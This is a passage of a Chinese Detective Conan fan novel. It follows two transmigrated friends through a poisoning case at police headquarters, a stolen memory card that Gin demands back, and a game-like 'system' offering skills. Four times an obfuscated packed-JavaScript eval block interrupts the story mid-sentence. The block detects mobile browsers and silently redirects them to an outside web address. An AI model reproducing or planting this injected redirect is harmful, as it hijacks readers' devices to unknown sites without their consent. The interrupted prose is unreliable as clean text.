【牧山:我可以试试找个借口过去,不过你确定要跟我见面?】 【傻狗波波:本来是觉得当面交接比较安全,但是伊达航盯我太紧了,我甩不开他。要不我把东西藏个地方,你一会儿过来拿?】 【牧山:也行,你藏好了报下位置。】 【傻狗波波:在搜查一课办公大厅楼上的男士卫生间,左侧数第二个隔间,我把东西放在马桶水箱里了。】 【傻狗波波:是个打火机,里面有储存卡。我一会儿要去做毒药检测,这东西不太方便带在身上。如果你来不了也没关系,等我这边结束了,我再想办法过来拿。】 【牧山:不用麻烦,交给我就好。】 17.烫男人是金发黑皮(十七) 毒药检测的结果很快就出来了。结果显示,三人身上都没有发现毒药残留。 伊达航看着手中的检测报告,眉头皱得死紧。 “警官先生,既然没有检测到毒药,请问我们是否可以离开了?” 野泽千代身上还穿着晚宴时的深紫色晚礼服,低胸无袖的长裙在凌晨的夜风中显得过于单薄。离开酒店的时候,一位女性工作人员好心地为她找来一条毯子披在肩上。 此时她正裹紧毯子站在伊达航面前,满脸憔悴,提出了进入警视厅后的第一个问题。 按照程序来说,如果没有直接相关的证据,是不能毫无理由地把人扣押在警视厅的。 这下有些麻烦了。 尸检报告已经出来了,东野刚死于□□中毒这点是毫无疑问的事实。凶手将毒投进红酒杯中再由东野刚喝下,作案手法也清楚明了。 问题在于,凶案现场除了那个杯红酒外,没有任何地方发现□□残留。酒瓶中没有,醒酒器中没有,杯子上没有。而那瓶酒又是当着东野刚的面打开,且当着他的面倒进杯子里的。 凶手究竟是如何下的毒,事后又如何将装有毒药的容器销毁呢? 不解决这个问题,就无法找出真凶。 明明知道真正的凶手就在这三个人之中,难道要眼睁睁地放他离开吗? 可眼下在这三人身上找不到任何证据,又不能直接进入审问程序…… 就在伊达航焦头烂额的时候,高木涉手上拿着一个证物袋走了进来。 “伊达前辈,你看这个。”高木涉将证物袋交到伊达航的手里,同时递给他一张报告单,“这是井田健一刚刚去洗手间的时候,借用纸巾擦手的动作丢进垃圾桶里的瓶子,经过鉴定部门检测,确认里面有河豚毒素的残留。” 在场的所有人下意识看向井田健一,只见这个中年男人脸色煞白,嘴唇不停蠕动却吐不出一个字来。 他的反应无疑进一步证实了高木涉的话。 瓶子上有且仅有井田健一的指纹,更何况是高木涉亲眼看到井田健一将瓶子扔进垃圾桶里的,只不过这位年轻机智的警官没有当场揭穿对方,而是事后悄悄返回取证。 井田健一无法反驳,痛哭流涕着供认了自己的犯罪事实。 “河豚毒素是我下的,我当时……下在了他吃药的那杯水里,他喝水时不小心洒了,所以衣领上才残留了一些毒药……” “可是□□的毒绝对不是我下的,我完全没必要多此一举!他的死因不是那个吗,我……我没有杀人!” 伊达航头痛地冲高木涉挥挥手,示意他将井田健一带到审讯室。 河豚毒素的来源解决了,可就如井田健一所说,他本就有一个杀人计划,准备两种毒药的可能性不大。 致使东野刚死亡的□□的来源还是不清楚。 伊达航单手扶额,做出正在低头沉思的模样。暗地里,灼热的目光却悄无声息地从手掌下方射出,直直落在金发男人的身上。 而后者正事不关己地靠坐在桌边,全程看热闹似的看着面前井田健一制造出的闹剧,悠闲得像是就差来上一杯热茶了。 伊达航瞪得眼睛都快酸了,那家伙才迟钝地察觉到他的视线,转过头来。 你到底跟这件事有没有关系?! 伊达航努力用眼神传递自己的疑问。 令他失望的是,毕业多年未见,他与这位同期昔日的默契像是消失殆尽。金发男人不但没看懂他的眼神,竟然还直接开口:“伊达警官,你头不舒服吗?” 伊达航:“……” 我的头没事,但现在我的拳头可能有点痒。 对伊达航的关心没有得到回应,金发男人也丝毫不觉得尴尬。他转而说道:“啊,我突然想起来,之前在酒店的时候,野泽女士是不是也去过一次洗手间?” “井田先生显然是想利用去洗手间的机会销毁证据,只是他没想到被我们火眼金睛的警官先生当下就抓了个正着……如果我没记错的话,当时陪在野泽女士身边的,是酒店的工作人员吧?” 言下之意,井田健一想要销毁证据的行为都被抓包了,同样在警察的陪同下去洗手间的自己,如果有异动也肯定逃不过。反倒是野泽千代因为陪同者不是警察,而多了一份嫌疑。 在场的所有人都听出了金发男人的暗示。 伊达航面色沉了下来,不自觉地将注意力放在野泽千代身上。 而被点名的当事人却看起来很是淡定:“的确,当时是酒店的工作人员陪我去的。不过,当时我知道自己被怀疑是杀害东野的凶手,为了自证清白,我全程要求她寸步不离的跟着我,就是为了防止说不清楚的情况出现。” “你们可以向那个工作人员询问,看看我有没有撒谎。” 她态度冷静,言语条理清晰,在场的人听完她的话后,不免信了几分。 伊达航给高木涉使了个眼色,后者连忙小跑着去打电话确认。 很快,高木涉带回了不出所料的答案:“确认过了,野泽女士说的是真的,那位工作人员说她全程盯着野泽女士的一举一动,还说对方不可能有销毁证据的机会。” 如此一来,对野泽千代的怀疑再次变得不成立。 伊达航深深吐出一口气,正打算开口放人,没想到此时金发男人忽然又开口了:“野泽女士,说起来,我刚刚在酒店的时候就注意到了,您手上的美甲好像有些破损,是之前不小心蹭到哪里了吗?” 闻言,野泽千代表情一怔,下意识盖住了右手的指甲。下一秒她又极快地反应过来,主动将右手伸了出来。 直到这时,众人才注意到她手上的美甲颜色透亮,镶着的钻石和水晶折射出闪亮的光芒。唯独食指那根指甲灰蒙蒙光秃秃的,像是表面被什么东西刮花了一样。 “哦,你说食指这根吗?”野泽千代没什么情绪地说,“的确是之前拿东西的时候不小心蹭到了,我也没想到这个美甲的质量这么不好。” 金发男人走上去,凑近野泽千代举起的右手仔细打量一番,若有所思地说:“如果我没看错的话,这个贴合度和长度……野泽女士用的是穿戴甲吧?细看的话还能看到本甲的甲线。为什么不用本甲做呢?” 一旁的几位男警官不由露出迷茫的表情。 野泽千代镇定地解释:“因为我的本甲很薄,非常脆弱敏感,所以我很少直接在本甲上做美甲,而是专门定制了一些穿戴甲……没想到你一个大男人,对这些女人的东西倒是十分懂行。” 收到一句不知道是嘲讽还是夸奖的评价,金发男人乐呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574464|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵地笑笑:“干我们这一行的,也算是见多识广吧。” 玩cos的嘛,技多不压身,懂美甲很正常吧? 这话落在别人耳朵里,只当他说的是酒店服务生的职业。 野泽千代质问:“这种小事跟案子没关系吧?还是说你们连我的指甲蹭到了什么地方都要调查?” 警察这边还没人做出反应,金发男人就抢先接话:“什么什么,这种事就不必了吧?就算是检测毒药也用不着这么仔细,难道野泽小姐指甲蹭过的地方还会有毒药残留吗?这种想法也太过异想天开了。” 他情绪激动,就好像真的在为野泽千代打抱不平似的,说个不停:“再说了,连女士的美甲都要怀疑的话,那男人的指甲岂不是也要一视同仁,难道都要再给指甲做一次毒药检测才行?这也太荒唐了!” “……” 随着金发男人的话音落下,现场陷入一片沉默。 突然,伊达航转头问身后的同事:“指甲这类的地方,你们检测了吗?” 身后同事一脸尴尬地说:“指甲表面进行过简单的取样,但是……” 金发男人耳尖地听到这句话,立即嚷嚷起来:“难道指甲与穿戴甲中间的缝隙,你们也检测过了?没想到警官们竟然如此细心,既然这样,不就说明我跟野泽女士完全可以排除嫌疑了吗?!” “……” 那位警察同事脸红了红,小声对伊达航说:“他说的那个地方……确实没有检测到,要重新检测一次吗?” 伊达航叹了口气:“去吧,带野泽女士再去检测一次,这次一定要更仔细。” “那这位金发小哥……” 伊达航咬牙切齿:“带他也去!把他里里外外每个毛孔都检查一遍!不能轻易放过他!” “……好,我知道了。” 在金发男人的抗议声中,他和面色微白的野泽千代再一次被带走。 许久过后,第二次检测结果出来了。而这次回到办公区大厅的,只有金发男人一个人。 伊达航显然猜到了这个结果,面露恍然。 高木涉向伊达航交代起情况:“在野泽千代的右手食指的指甲与那个额……” 金发男人提醒他:“穿戴甲。” “对,指甲与穿戴甲中间,检测到了□□残留,同时在我们发现那片穿戴甲内部是镂空的,里面有大量的□□残留。不出意外的话,野泽千代应该是将毒药储存在了这里面,然后趁去洗手间的时候冲掉了甲片表面的毒药。” “现在野泽千代已经被带去审讯室了,从她当时看到检测结果的反应来看……相信用不了多久,她就会交代一切。” 高木涉讲完,就慌慌忙忙地跑走,急着去整理案件资料了。留下伊达航和金发男人一站一坐,面面相觑。 此时的伊达航心情极其复杂,面对那张熟悉的面孔,想说些什么却又无从开口。 倒是金发男人态度坦然,走到伊达航身边,伸手搭在对方的肩膀上,用力拍了拍。 下垂的眼角弯成好看的弧度,紫灰色的眼眸中流露出温暖的笑意。 “伊达警官今天辛苦了,忙活了一整晚,也该早点下班了吧!” 伊达航抬眼,恍惚间觉得,那双紫灰色眼眸中的温柔,竟一如往昔。 18.烫男人是金发黑皮(十八) 凌晨,警视厅大楼依旧灯火通明。 金发男人一只手随意地拎着燕尾服外套,另一只手扯松自己的领结,面色疲惫地从警视厅大楼走了出来。 男人停在路边,刚准备拿出手机,就听到不远处传来短促的汽车鸣笛声。 他抬头朝声源处望去,看见光线暗淡的路灯下安静地停着一辆黑色保时捷356A。 【傻狗波波:我去,琴酒真的猖狂,直接把车开到警视厅门口了。】 【傻狗波波:看来他是真的不想让我拿到储存卡,也不知道里面都藏着什么惊天大秘密。晓宝,你拿到东西了吗?】 【牧山:拿到了。】 【傻狗波波:太好了,你等会儿怎么回去,要不我让琴酒送你?】 【牧山:???】 【牧山:……你有病吧,我打车了。】 【傻狗波波:身上带钱了吗?】 【牧山:问萩原研二借了点。说起来明天真的得去买个手机了,不然不好联系萩原研二还钱。】 毕竟□□处理班的办公室,平时不是随便什么人都能进的。牧山晓总不能为了还钱天天去警视厅门口蹲人。 【傻狗波波:好啊,明天一起去买。我先不说了,去见琴酒啦!】 【牧山:嗯,你注意安全。】 金发男人一把拉开保时捷的车门,将西装外套丢进后座,低头钻了进去。 “累死人了。”金发男人瘫在座椅上,一开口就是满满的怨气,“这群警察真是难缠,问东问西的也就算了,还非要拉着我没完没了地做什么检测,从头到脚被翻来覆去检查好几遍。□□中毒什么的,我怎么可能用那么老套又无聊的杀人手法。” “琴酒,这算加班吧?我申请一个加班补助应该不过分?” 银色长发的男人仍旧坐在副驾驶,身上硝烟的味道早就被深夜的冷风吹散。他静静地盯着后视镜中金发男人的举动,面无表情地开口:“东西呢?” “什么东西?”金发男人眨巴着他的狗狗眼。 “别装傻。”琴酒显然不吃他这一套,甚至颇为嫌弃地掏出手枪,侧过身,枪口直指金发男人的额头,“储存卡,拿不出来的话,今天你就别想走出这辆车了。” “哦,你说那个啊!急什么,我又没说不给你。” 金发男人语气恍然,瘫坐着的身体却一动不动。 琴酒不耐烦地“啧”了一声,保险栓被打开的声音在安静的车厢中无比清晰。 “波本,别跟我耍花样。”他说。 面对琴酒的威胁,金发男人却表现得毫不在意,底气十足的模样不仅令琴酒眉头紧皱,更是令坐在驾驶座暗中观察的伏特加惊讶不已。 波本现在怎么胆子这么大,以前没感觉他行事作风这么猖狂啊。 难道真的如琴酒大哥所说,是因为朗姆…… 只见金发男人懒懒地抬起手,将空荡荡的掌心递到琴酒面前:“喏,如你所见,东西不在我身上。” “什么意思?”琴酒的语气逐渐暴躁。 “我刚不是说了嘛,警察一直让我做检查,我怎么敢把东西放在身上嘛。” “东西现在在哪儿?” “当然是警视厅啊。” “波本!” “哎呀别急嘛,怎么脾气这么暴躁——东西在警视厅大楼的某个厕所隔间里,我藏得很好,不会有人发现的。出来的时候被警察盯着不方便拿,等明天我再被叫过去做指证的时候,我再去回收不就好了。” “……” 琴酒带有怒意的质问声消失了,可金发男人明显感觉到,来自银发杀手身上的杀意没有丝毫消减。 金发男人安静片刻后,才无奈地继续解释:“首先,东野刚的死我们都没料到。你应该也听到了,我当时被列为嫌疑人之一,一直被警察盯得很紧,能将储存卡找地方藏起来已经很不容易了,根本没有机会回收。” “其次,就算储存卡出了问题,朗姆那边我也会亲自解释,你大可不必担心我把锅甩在你身上。” 男人仰躺在座椅上,紫灰色的眼眸被垂落的金色碎发遮住几分,却挡不住暗含挑衅的锐利目光。 “别太自以为是了琴酒,没准哪天,你的烂摊子还需要我帮你收拾呢。” 琴酒从来都是一个足够冷静的人,激将法对他来说是最无用的招数。 金发男人越是挑衅,他就越是冷漠。 “管好你自己就行了,波本。” 琴酒收回枪,声音冰冷听不出任何情绪。 “明天中午之前,我要见到储存卡。如果你拿不出,就做好准备接受任务失败的惩罚吧。” …… 萩原研二本来是打算开车送牧山晓回家的。 他和松田阵平今晚当值,按理说不该随便离开警视厅。但牧山晓是被他出于私心才以爆炸案为借口带过来的,他觉得自己应该负起责任。 没想到遭到了牧山晓的坚定拒绝。 对方坚持自己打车回家,萩原研二总不能强迫,只能主动借给对方一些零钱,嘱咐他注意安全。 顺便还以还钱为借口,强行塞给对方自己的联系方式。 临时找上门的紧急工作使得他和松田阵平没能亲自将少年送出警视厅大楼,只能在告别之后,目送对方的身影消失在电梯里,然后转身便陷入令人晕头转向的忙碌之中。 终于熬到下班时,窗外的天色已经大亮了。 萩原研二换下制服,拿着一叠刚打印出来的案件报告,拉上幼驯染就朝搜查一课的办公室冲过去。 “走走走,交接完案情报告,顺便找班长一起去吃早饭。” 搜查一课和□□处理班的办公地点离得不远,两个部门也经常协同工作。在忙碌疲惫的工作之余,相约一起去吃饭喝酒放松一下,是这几年来三个好友的日常。 不出意外,同样通宵执勤的伊达航也是面色疲惫。三个人走在一起,排成一排的黑眼圈几乎到了会让路人误以为丧尸围城的地步了。 总之就是身上没有半点活人的气息。 “还要喝酒吗?今天。”伊达航打了个大大的哈欠,问道。 “喝吧,喝完好睡觉。”萩原研二说。 连续长时间的精神紧绷过后,忽然放松下来,通常随之而来的不是因为过度疲惫而陷入昏睡,而是莫名其妙的失眠。 计划是美好的,只是松田阵平指出问题:“这么早,居酒屋都没开门吧?” “那就去我家喝吧。”萩原研二提议,“班长可以吗?我记得娜塔莉最近去美国探亲,是不是还没回来?” 伊达航说:“我可以,娜塔莉过几天才回。不过等她回来之后就……” “好了好了知道你顾家,有未婚妻很了不起吗?”萩原研二打断他的话,语气酸得要死,“走吧走吧,我家里有酒,咱们路上买点吃的。” 松田阵平不放过任何拆他台的机会,立刻接话:“有未婚妻就是很了不起,你因为没有所以嫉妒吧。” “可恶的小阵平有什么资格说我,你不是也没有吗?!” “肯定比你先有。” “你是说在梦里吧!” 萩原研二和松田阵平的住处离得很近,从警校毕业后不久,他们就在警视厅附近的同一个小区,租了两间单身公寓。 两人平时经常串门。在娜塔莉不在国内的时候,伊达航也会偶尔造访。 萩原研二的公寓是典型的单身汉住所。屋内谈不上脏,只是看起来有点乱,属于单身男人的生活用品扔得到处都是。身为警察的他工作繁忙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581887|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本没什么多余的时间打理自己的生活。 好在三个大男人都对此见怪不怪。在三人的共同努力下,很快在乱糟糟的客厅茶几上,收拾出一片还算干净的空地。 这片空地很快又被食物摆满。 三人一边吃喝,一边闲聊着工作时的趣事,又或者是令人郁闷的遭遇。 跟同行业的亲近的朋友发发平时无处可发的牢骚,吐槽一下平时不敢吐槽的领导,或者八卦一下同事之间的男女关系。 这已经是警察这种强压职业的工作之余,为数不多的、最能令人放松的乐趣了。 伊达航今天心情有些沉闷,几杯烧酒下肚,他不可避免地想起那位久别重逢的金发同期。 “我今天见到那家伙了。” 复杂的情绪不断冲击着胸腔,促使他终于开口,说出了本不打算说的话。 “谁?”另外两人一时没反应过来。 “那个一毕业就让人放心不下的家伙。” “毕业”这个关键词,很快触动了另外两人的敏锐神经。 仅仅瞬间,他们就大概猜到了伊达航口中的人是谁。 “你说的是很会惹人生气,怎么看都让人觉得欠揍的那个,还是另外一个?”松田阵平挑眉问到。 回想起以前在警校时期,松田阵平和那人之间的恩怨,伊达航苦笑着说:“前者。” “你在哪儿见到的他?” 伊达航叹气:“凶案现场。” 接着,他将昨晚与金发同期相见的全部过程,跟这两人讲述了一遍。 随着他的讲述,原本热闹的房间内渐渐安静下来。 没有人提起准确的名字,大家心照不宣地听着伊达航提起那人的现状,共同在心里默默怀念着过去的美好时光。 当年那两个人一毕业就无缘无故地突然消失,其余的三个人虽然不曾仔细讨论过,却对那两个人的去向都有所猜测。 这么多年来,他们没有问过,却不止一次地在心里想象过、担忧过。 许多年过去,如今意外得知对方的消息,先是惊讶,随后是始终悬吊着的一颗心终于落下的轻松,最后,是无尽的感慨。 复杂的情绪使得三人一时无话。 气氛变得沉闷。 不知道过去多久,萩原研二率先从这种沉闷的气氛中挣脱出来。他提起声音,故意抛出一个新的话题:“说起来班长,你之前跟我们提过的那个男孩,我们今天意外遇见了。” 其实见到的第一面,萩原研二并不知道对方的身份。直到后来在会议室的交谈中,得知男孩名字的时候,萩原研二才恍然想起,他曾经从班长伊达航的口中听过这个名字。 在伊达航惊讶的目光中,萩原研二将今天他与松田阵平的经历简单叙述。 只是说着说着,他逐渐觉得有哪里不对。 是一种直觉,总觉得他好像漏掉了什么线索。 终于,他忽然回想起一个细节。 “班长,你之前是不是说过,那个男孩有一个金发黑皮的外国人朋友?” 伊达航一愣,下意识回应:“没错,当时是这个外国人开车来接他的。” “等等,金发黑皮?”松田阵平敏锐地抓住重点,“这个配置应该不算常见吧?班长,你看到那个外国人的脸了吗?” 伊达航后知后觉地开口:“没有,他当时戴着口罩。不过我记得他的眼睛是绿色的,声音好像也不太……” 等等,不对。 眼睛的颜色虽然不一样,但仔细回想的话,眼型好像非常相似。再加上身材身高、走路姿势等等细节…… 伊达航越想越觉得不对劲。 他的脸上不禁露出震惊的表情,不可置信地看着两位好友。 “应该……不会吧?” 19.烫男人是金发黑皮(十九) 牧山晓回到公寓之后,意外地发现家里相比自己离开之前没什么太大的变化。 看之前萩原研二和松田阵平态度那么凶,他还以为自己家被翻了个底朝天呢。 硕大的电视屏幕上,还停留着《无限之城》的游戏cg画面。牧山晓连忙关掉这糟心的cg,没有忘记存个档,然后才退出游戏。 家里唯一一个笔记本电脑被临时叫去做任务的亲友拿走了。牧山晓想了想,跑去次卧的床底下拉出一个箱子,里面装的全是公寓原主人留下的“小道具”。 其中有一台备用笔记本电脑,型号很旧功能单一,但用来读取储存卡中的资料绰绰有余。 牧山晓将他根据亲友指示拿到的打火机掏出来,小心地将打火机拆解,取出藏在里面的储存卡,插进电脑。 几分钟过后,他看着屏幕上提示需要输入密码的文字框发愣。 【牧山:这玩意有密码。】 【傻狗波波:啊对的,密码好像只有琴酒和朗姆知道。】 【牧山:……你知道有密码?那你让我拿回来有什么用?】 【傻狗波波:碰碰运气呗,你随便试,试得出来更好,试不出来就直接把卡交给公安,让他们去搞。】 【牧山:???把储存卡给公安,那你怎么跟琴酒交代?】 【傻狗波波:我就说我已经销毁了不就行了,反正他要这个东西本来就是为了销毁。】 【牧山:你……琴酒怎么可能那么好骗?!】 【牧山:你做事之前不能动脑子想想吗!万一琴酒一定要收回储存卡怎么办?!琴酒那种多疑的性格,他怎么可能不去亲自确认储存卡里面的资料?尤其在他根本不信任你的情况下!】 【傻狗波波:哎呀晓宝你别急,你怎么知道琴酒不信任我嘛,说不定他只是表面不说,其实心里很看好我呢?】 【牧山:你当我傻吗?!他要是真的信任你,干脆把密码告诉你让你确认资料的真伪就好了啊!你还至于偷卡吗?!】 【傻狗波波:emmmmm(心虚望天)。】 牧山晓愤怒地将电脑丢到床上。 他简直要被这只傻狗气死了! 他了解亲友莽撞的性格,也猜到对方在黑衣组织这种情绪容易受到刺激的环境中,可能会在冲动之下做出不计后果的事。 但他万万没有想到这个家伙竟然如此的不知死活! 的确是他让亲友去挑衅琴酒,但他没说要用这种方式啊!按照他们原本的计划,亲友只需要吸引琴酒的注意,而不是引来琴酒的杀意! 【傻狗波波:晓宝晓宝还在吗,你生气了吗?别生气了,给你摸摸狗头。(金毛卖萌.jpg)】 牧山晓深吸一口气,努力平复情绪。 无视脑内频道亲友不断询问的声音,他开始思考该如何处理这张储存卡。 亲友提的那个乱试密码的办法肯定行不通。密码只是表面能看得到的保密措施,以黑衣组织的行事作风,谁知道密码背后有没有更深层的保密机制。随便乱输的话,有可能会给他们引来更大的麻烦。 更何况,他在没有任何线索的前提下,盲试只是浪费时间而已。 许久之后,牧山晓皱着眉,问了个问题: 【牧山:你为什么这么想把这东西交给公安?】 【傻狗波波:打击犯罪组织,是身为公安卧底的职责!】 【牧山:少跟我扯。卧底是降谷零的工作,你又不是降谷零,你替他操什么心!再说了,就算你想帮降谷零做任务,可你有降谷零的自保能力吗?】 【牧山:给我说实话,你到底怎么想的?】 【傻狗波波:……好吧,其实是因为琴酒不让我看,他越不让我看我就越想看。而且这份资料琴酒好像挺看重的,我很想看看他发现资料泄露后的精彩表情。】 【牧山:储存卡是你带出来的,你就不怕琴酒把资料泄露的事算在你头上吗?!】 【傻狗波波:应该没什么事吧……(心虚目移)】 【牧山:听好,我们的目标是获取演绎值,没必要做这么危险的事。为了降谷零的任务没必要,为了针对琴酒更是没必要!】 【牧山:你赶快回来把储存卡拿走交给琴酒!再让我发现你像这次一样乱来,就……你就别想再回黑衣组织了!】 【傻狗波波:(狗狗落泪.jpg)】 【傻狗波波:呜呜呜呜呜。】 【傻狗波波:琴酒凶我你也凶我……】 【牧山:你活该!】 【傻狗波波:呜呜呜呜好嘛,我把储存卡还回去就是了嘛,晓宝你别生气。(猫猫垂头丧气.jpg)】 【牧山:……你偷我表情包干嘛。】 【傻狗波波:我不用狗狗表情包了,晓宝不要讨厌狗狗。】 【牧山:……别撒娇,恶心。】 【傻狗波波:(猫猫痛哭奔走.jpg)】 【牧山:快点回来拿卡!(冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586934|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漠.jpg)】 【傻狗波波:知道了。】 还算是听话。 牧山晓心情复杂地关闭脑内频道,提着的一口气却松不下来。 亲友的行为完全超出他的预料,让他产生了强烈的不安感。 有一个从穿越后到现在一直存在,却总是被他隐隐忽视的问题,此时此刻终于浮上水面,使他不得不重视起来。 自从穿越之后,亲友的行事作风似乎越来越肆无忌惮。他看起来好像不在乎能不能回家,不在乎能不能完成系统的任务,更不在乎自己的行为会不会带来严重的后果。 亲友以前的确是个莽撞冲动的人,做事经常不过脑子,但作为一个普通且正常的大学生,他有自己的行为准则和底线,更不是个不懂得自我保护的蠢货。 牧山晓不知道是什么导致了亲友的变化。 是因为他用的是波本的马甲吗? 牧山晓不可避免地,再次想起刚穿越时系统给的那个具体作用不明的新手福利。 根据自己目前的经历来看,他其实对系统给自己增加的“滤镜”效果有所猜测。但是他不太确定亲友身上是否有什么奇怪的滤镜。 亲友的异常,很有可能就是受这个诡异的滤镜影响。 说起来,穿越好几天了,系统却一直毫无动静,也不知道到底什么情况。 想到这儿,牧山晓忍不住在心里蛐蛐。 别人家的系统,要么能给各种金手指,要么能提供情绪价值。 怎么他摊上的系统就这么废物?! 【演绎者你好,请问有什么可以帮您的?】 卧槽!!! 突然响起的机械音把牧山晓吓了一大跳,身体猛地一抖,差点从床上摔下来。 【你你你你,你怎么突然冒出来了?!】 【我之前一直在沉睡,现在能量积攒够了,所以就苏醒啦!】 牧山晓很快发现,虽然是一样的声音,但这次出现的系统显然比之前的那个情绪更加丰富。 【让我看看……哇!演绎值竟然已经积攒到345分了,很能干嘛!】 【不过这么点演绎值,想要跨越时空送你们回家的话,还是远远不够的。但是系统可以为你提前开放兑换系统哦!你可以用小额演绎值兑换一些想要的技能,用来辅助主线任务的完成。】 【看在你是我第一任宿主的份上,这次兑换可以给你限时折扣。机不可失失不再来,怎么样,心不心动?】 20.烫男人是金发黑皮(二十) 天光微亮。 公寓客厅内,牧山晓坐在沙发上,正抱着一个笔记本电脑,望着屏幕上的输入框发愁。 牧山晓把亲友交给他的东西带回来后,意识到家里唯一一个笔记本电脑被临时叫去做任务的亲友拿走了。他想了想,跑去次卧的床底下拉出一个箱子,里面装的全是公寓原主人留下的“小道具”,是之前他和亲友两人一起整理出来的。 其中有一台备用笔记本电脑,型号很旧功能单一,但用来读取储存卡中的资料应该绰绰有余。 牧山晓将储存卡插进电脑,不出意外地发现这东西果然需要输入密码。 他犹豫着试了几个能想到的酒名,发现都没用,就谨慎地停手了。 牧山晓对电脑的了解,除了一些基础功能外,就仅限于一些常用的p图软件和视频剪辑了——这些也都是拖了那个coser亲友的福。 破译密码对他来说完全超出了能力范围。 但也不是毫无办法…… 【系统在吗?】 【系统系统系统!】 过了好一会儿,他才听见属于系统的机械音响起,依旧带着滋滋啦啦的电流声:【演绎者001号您好。】 牧山晓一点也不跟系统客气:【储存卡的密码是多少?】 系统沉默了几秒,像是对牧山晓的理直气壮感到无语,然后才出声:【系统不提供外挂服务。】 【那这个关键道具要怎么用?我总不能跑去找琴酒要密码吧?】 【……系统无法提供帮助,请演绎者自行探索。】 【……】破系统除了发布任务还能有什么用? 看来走捷径的办法行不通,牧山晓想了想,又问:【那至少得告诉我这个关键道具有什么作用吧,总不能一点线索都不给。】 系统又沉默了几秒,分不清是在犹豫,还是因为能量不足又出现了卡顿。 过了一会儿,牧山晓才听到系统的声音:【该物品为完成支线任务的重要道具,请您务必妥善保管。放弃该道具,即视为放弃支线任务。】 支线任务?牧山晓还是第一次听说有这个东西。 【你之前没说还有支线任务。任务内容是什么?】 【……对不起,支线任务尚未触发,无法查看任务内容。】 【?那支线任务有什么奖励?】 【对不起,支线任务尚未触发,无法查看奖励。】 【……】你好像那个人机。 牧山晓算是明白了:【所以你说的这个关键道具根本什么用都没有,是这个意思吧?不然我还是还给琴酒好了。】 系统的电流声忽然变大,滋滋啦啦吵得牧山晓耳朵疼:【该……物品为关键道具,请您……妥善保管!】 明明还是毫无感情起伏的机械音,甚至中间有信号不好般的卡顿,牧山晓却莫名从这句话中品出点“它急了”的味道。 看来这个关键道具里还藏着其他秘密。 不知道系统到底急了没有,反正这会儿牧山晓淡定了不少。他故意说:【这东西我没办法保管,不还回去的话,一定会引起琴酒的怀疑,这对我们的演绎任务不利。要不我还是直接放弃支线任务吧,奖励未知不就等于没有嘛。】 【该物品为……关键道具,请您……请您……】 这次系统没说完,又是一阵剧烈的电流声后,系统突然诡异的恢复正常:【请问演绎者是否需要开启演绎值兑换功能?】 哈哈,果然试出来了。 牧山晓心中暗笑,表面上却露出惊讶的表情:【还有兑换功能?你之前怎么没说!】 【系统能量不足,之前无法开启兑换功能。】系统解释说,【您可以用已经收集的演绎值兑换想要的技能,根据技能不同,需要消耗的演绎值也不同。】 牧山晓没急着决定,而是先问了句:【我们现在有多少演绎值?】 【您现在的演绎值收集度为5.25%。】 演绎值竟然比之前多了好几倍!什么时候涨的?! 牧山晓有些疑惑,他仔细回想了一下昨晚的经历。跟萩原研二和松田阵平的见面的确有可能会获得一些演绎值,但这两个人明显不是关键角色,应该涨不了那么多。 还有一种可能是亲友和琴酒那边发生了什么,而这些演绎值是疑似关键角色的琴酒贡献的。如果真的是这样,那琴酒是关键角色的猜测就基本算是得到证实了。 还是等亲友回来之后再好好问问他吧。 【请问您是否需要开启兑换功能?】 系统催促的声音响起,牧山晓收回思绪,问道:【我现在都能够兑换些什么东西?】 【根据系统计算,为您推荐以下两个兑换选项:1.复制卡。该卡为一次性消耗,可复制一次关键道具,需要消耗1%演绎值。2.黑客技能。此技能为您所在的漫画世界中顶尖水平的复刻版,受世界科技发展的限制,需要消耗4.5%演绎值。】 牧山晓当即注意到,选项2所消耗的演绎值是选项1的数倍。不过从效果说明来看,这个技能或许完全配得上如此昂贵的价格。 用世界顶尖的黑客技术来破解密码,的确是打开储存卡最直接的方式,只不过好像有点大材小用。 而选择复制的话,虽然不能得到密码,却能把原件拿给琴酒交差,等同于给他们破解密码争取更多的时间。 牧山晓先是在脑内频道问了亲友的意见,得到【你决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 